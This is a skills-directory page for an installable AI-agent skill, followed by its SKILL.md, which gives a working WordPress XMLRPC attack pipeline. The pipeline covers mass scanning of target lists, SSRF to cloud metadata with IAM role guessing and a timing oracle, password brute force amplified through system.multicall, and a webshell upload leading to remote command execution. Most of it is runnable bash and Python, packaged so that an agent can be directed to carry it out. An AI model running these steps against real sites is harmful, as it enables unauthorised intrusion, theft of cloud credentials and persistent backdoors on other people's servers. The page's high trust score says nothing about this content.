SkillAgentSearch skills...

xmlrpc-exploitation

Exploit XMLRPC multicall, pingback for brute force and SSRF.

Install / Use

npx skills add uphiago/recon-skills --skill xmlrpc-exploitation

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

90/100

Category

Security

Supported Platforms

Universal

Our assessment of xmlrpc-exploitation

xmlrpc-exploitation scores 90/100 on our quality scale, 459th of 971 Security skills we index (top 48%).

Its SKILL.md is 16 KB long, well organised into 29 sections with 8 code examples: a thorough specification that gives an agent plenty to work with.

With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
12/15
Adoption
13/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 29 days ago, so xmlrpc-exploitation is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

xmlrpc-exploitation compared with similar skills

All 4 of these similar skills score higher than xmlrpc-exploitation; compare them before choosing.

SkillScoreStarsUpdatedFormat
xmlrpc-exploitation (this skill)by uphiago901.3k29d agoSKILL.md
Agent-Reachby Panniantong10086.6k15d agoCLAUDE.md
headroomby headroomlabs-ai10074.2ktodayCLAUDE.md
Scraplingby D4Vinci10084.8ktodayMCP Server
crawl4aiby unclecode10084.6k6d agoMCP Server

Frequently asked questions

How do I install xmlrpc-exploitation?
Run npx skills add uphiago/recon-skills --skill xmlrpc-exploitation. The install tabs above show the steps for each supported agent.
Which AI agents does xmlrpc-exploitation work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is xmlrpc-exploitation safe to use?
It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is xmlrpc-exploitation still maintained?
The repository was last updated 29 days ago, so xmlrpc-exploitation is actively maintained.

name: xmlrpc-exploitation description: Exploit XMLRPC multicall, pingback for brute force and SSRF. version: 1.1.0 revision_date: 2026-07-25 license: MIT platforms: [linux] compatibility: Requires curl, python3 tags: [recon, xmlrpc, wordpress, brute-force, SSRF, RCE] category: recon related_skills:

  • wp-mass-recon
  • cors-credential-wordpress
  • phpinfo-to-rce
  • cross-attack-chains
  • wordpress-full-compromise
  • port-service-discovery
  • error-log-mining

XMLRPC Exploitation Skill

5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via pingback.ping, amplified brute force via system.multicall (1000x amplification), and RCE via wp.uploadFile when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.

When to Use

  • wp-mass-recon detected XMLRPC returning HTTP 200 on POST.
  • Target has WordPress with open registration (chain: upload → webshell → RCE).
  • Need a brute-force amplification vector for WordPress credentials.
  • Probing for internal SSRF via pingback.ping to cloud metadata endpoints.

Prerequisites

  • terminal with curl.
  • Target has confirmed XMLRPC endpoint (/xmlrpc.php returns 200 on POST with demo.sayHello).
  • For RCE chain: target must have open registration or another file upload path.
  • For SSRF chain: need a Collaborator/Burp Collaborator endpoint or internal target IPs.

How to Run

# Phase 1: Bulk detection on target list
while read -r domain; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
  [[ "$code" == "200" ]] && echo "OPEN: $domain"
  sleep 0.3
done < targets.txt

# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

Quick Reference

| Method | Capability | Severity | |--------|-----------|----------| | demo.sayHello | Confirms XMLRPC is alive | Info | | system.listMethods | Enumerate all available methods | Info | | system.multicall | Execute multiple methods in ONE request | Critical — 1000x brute force amplification | | pingback.ping | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS | | wp.getUsers | Enumerate WordPress users | Medium | | wp.getPosts | List published posts | Low | | wp.uploadFile | Upload file to media library | Critical — webshell when combined with open reg | | wp.getOptions | Read WordPress options (siteurl, admin_email) | Medium | | wp.getPostStatusList | Get post statuses | Low |

Procedure

Phase 1 — Bulk Detection

#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt

echo "domain,code,hello" > xmlrpc_open.csv

while read -r domain; do
  resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
  if echo "$resp" | grep -q "Hello"; then
    echo "$domain,200,yes" >> xmlrpc_open.csv
    echo "[OPEN] $domain"
  fi
done < targets.txt

Phase 2 — Method Enumeration

TARGET="$1"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -H "Accept-Encoding: identity" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
  | python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort

Key methods to look for: system.multicall, pingback.ping, wp.uploadFile, wp.getUsers, wp.getOptions.

Phase 3 — SSRF via pingback.ping

TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>$CALLBACK</string></value></param>
    <param><value><string>https://$TARGET/?p=1</string></value></param>
  </params>
</methodCall>"

If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include Accept-Encoding: identity to avoid LiteSpeed gzip):

# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>'

# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
       "EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
       "webserver-role" "app-role" "default")

for role in "${ROLES[@]}"; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>" 2>/dev/null)

  fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
  echo "  role=$role -> faultCode ${fc:-no-fault}"
  sleep 0.5
done

faultCode 0 on a pingback to an internal address confirms the request reached the target. faultCode 17 or 32 means blocked or unreachable.

Phase 3b — Blind SSRF Data Extraction via Timing Oracle

When pingback.ping returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use timing differences to extract data character-by-character or enumerate IAM roles.

How it works: The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.

IAM Role Enumeration:

import subprocess, time

TARGET = "target.com"

def ssrf_time(url):
    xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
    start = time.perf_counter()
    subprocess.run(["curl", "-sk", "-X", "POST",
        f"https://{TARGET}/xmlrpc.php",
        "-H", "Content-Type: text/xml", "-d", xml],
        capture_output=True, timeout=15)
    return time.perf_counter() - start

# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")

# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
         "SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
    t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
    exists = "FOUND" if t > baseline * 1.15 else "404"
    print(f"  {role}: {t:.3f}s -> {exists}")

From field (retail.example.com, June 2026):

  • IMDS /meta-data/: 344ms (large response — list of paths)
  • IMDS /iam/security-credentials/: 435ms (very large — IAM role listing)
  • IMDS /instance-id: 301ms (small — short string)

Pitfall: Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.

Phase 4 — Amplified Brute Force (system.multicall)

system.multicall allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ wp.getUsers calls with different credentials, giving 1000x amplification over sequential requests.

TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"

# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
    xml += f'''<value><struct>
  <member><name>methodName</name><value><string>wp.getUsers</string></value></member>
  <member><name>params</name><value><array><data>
    <value><string>{pw}</string></value>
  </data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d @/tmp/multicall_payload.xml

A successful auth in the response will show user data instead of faultCode 403.

Phase 5 — RCE via Open Registration + wp.uploadFile

If the target has open registration AND XMLRPC with wp.uploadFile:

TARGET="$1"

# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
  -d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"

# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
  echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
  echo "SUBSCRIBER - upload blocked. Need escalation first:"
  echo "  a) Brute force admin (system.multicall 1000 pwd/req)"
  echo "  b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
  echo "  c) Check if default role changed by plugin"
  exit 1
fi

# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\\\"1.0\\\"?>
<methodCall>
  <methodName>wp.uploadFile</methodName>
  <params>
    <param><value><string>1</string></value></param>
    <param><value><string>attackusr</string></value></param>
    <param><value><string>password123</string></value></param>
    <param><value><struct>
      <member><name>name</name><value><string>shell.php</string></value></member>
      <member><name>type</name><value><string>application/x-php</string></value></member>
      <member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
    </struct></value></param>
  </params>
</methodCall>"

# Step 4: Access webshell
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"

Retesting Behavior

Test the original XML-RPC URL without following redirects, then inspect any redirect target separately. Redirect-following can replace a protocol response with an HTML page and create a false regression. A change in status code is not e

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars1.3k
CategorySecurity
Updated29d ago
Forks215

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions